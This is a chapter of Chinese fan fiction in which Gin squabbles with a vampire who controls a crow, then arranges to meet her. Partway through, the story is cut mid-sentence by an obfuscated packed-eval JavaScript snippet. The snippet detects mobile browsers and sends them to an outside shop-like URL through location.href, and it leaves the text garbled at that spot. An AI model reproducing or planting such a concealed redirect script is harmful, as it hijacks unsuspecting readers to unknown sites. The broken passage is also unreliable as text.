但Gin不惯着她。 当他朝乌鸦伸出手的时候,乌鸦就敏捷地张开翅膀跳到了另一张桌子上。 动静太大,还打翻了桌上的酒杯,里面的酒水差点将笔记本电脑送走。 Gin:“……”他突然觉得手有点痒,而且那只乌鸦好像还在挑衅他一样。 玖兰尤雅故意的。 她歪着头看着Gin,看见他没有恼火,只是收起电脑,又用餐桌上的纸巾把洒了一桌的酒水擦干。 情绪非常稳定。 于是玖兰尤雅更加得寸进尺,她伸出翅膀,又跳到了Gin的桌子上,Gin就好像那抓鸟的猫,爪子伸了两次发现抓不住后,他—— 他这次是真的恼火了! 他迅速地从口袋里抽出了他的大宝贝,木仓口直直地指着乌鸦。 一人一鸟看似一言不发,实际上已经打了几个来回了。 玖兰尤雅又一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496748|202549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞过去,将那片Gin没有碰的羽毛叼起来,往Gin的方向送了送。 这一次,Gin沉默了片刻,他盯着乌鸦鲜红的眼睛,突然意识到自己是在跟一只鸟,一只本来就可能没有素质的,什么都不知道的鸟在生气。 ……毫无意义的生气。 于是,他拿起了那片羽毛。 然后他把羽毛扔了。 玖兰尤雅:“……” 这次轮到她恼火了! 可是用着乌鸦的身体,她骂不出来只能嘎嘎乱叫,然后又扯了一片羽毛,飞到Gin头顶,狠狠把羽毛插在了他的帽子上。 是的,Gin那顶从不离身的帽子被她啄了一个洞,就为了放一片羽毛。 Gin的脸色肉眼可见的黑了。 小弟Vodka寻思着时间差不多了,来接他的大哥时,看见的就是这么一个人鸟(?)和谐共处的场景。 不知道哪来的乌鸦站在Gin的帽子上,挺着胸抖着羽毛一副很神气的样子,他大哥的帽子上还被插了一根羽毛,而Gin正在试图朝自己的头顶开枪。 Vodka觉得这个画面很魔幻,于是他试探着开口问道:“大哥……我们走吗?” “……” “大哥?” Gin冷笑了一声,他一言不发,转身就朝餐厅外走去,而那只乌鸦,也依旧在他头顶不肯离开。 等Gin离开餐厅,外面已经没再下雨,只有湿漉漉的地面和空气昭示着刚才那场不那么恰好的过云雨短暂路过。 城市的霓虹灯依旧在水汽中闪烁着,路上却已经空无一人。 Vodka去停车场挪车,他则走到路边,从口袋里摸出一包烟,熟练地点燃抽了一口。 潮湿的风将烟雾吹散,也吹散了他的长发,路灯下,那柔顺的发丝似乎也沾了一层水汽,又很快被温度带走。 安静,沉默,还有像是从寒天冰雪里而生,随着山风扑面而来的孤高和冷峻。 这个时候,本来还想搞一下他的玖兰尤雅老实了,安安静静待在他头顶。 她有一双惯于欣赏美的眼睛,在看见那些或是简约,或是巨大而沉默,又或者是繁复和华丽的东西,物种时,曾有人说过,那是ta见过的,世间最鲜活的色彩。 鲜活到,看起来一点也不像是一只时常与死亡相伴的吸血鬼。 只存活在夜晚世界的家伙们,总是刻板又腐朽地守护着一些无聊的东西,无论外面的世界再怎么变化,都和他们没有任何关系。 就像那亘古不变的,时间都凝滞的夜晚一样。 玖兰尤雅只是一个,不被认可的例外。 半根烟的时间,Gin低着头,像是在看着地上的影子,直到引擎声从不远处走来。 Gin:“你还要待到什么时候?” 他突然开口询问。 玖兰尤雅不满地拍拍翅膀,嘎嘎叫了两声,然后才念念不舍地展开翅膀往远处飞去。 她回头看了一眼,Gin已经进了保时捷车,而地上并没有一根黑色羽毛。 分出去的意识回到身体,依旧坐在监控室里的玖兰尤雅伸了个懒腰,打了个哈欠,算着自己下班的时间。 就在这时,她的手机响了起来。 这个时间,只有可能是Gin的消息。 她拿起手机,在点开消息的那一刻,那股兴奋的,渴望的感觉又一次从灵魂深处涌了上来。 Gin?:明天下午六点,我来接你。 她没有回复消息,而是朝着那边打去了电话: “我不太会用这个东西打字呢。” “亲爱的,我们明天去哪里呀?”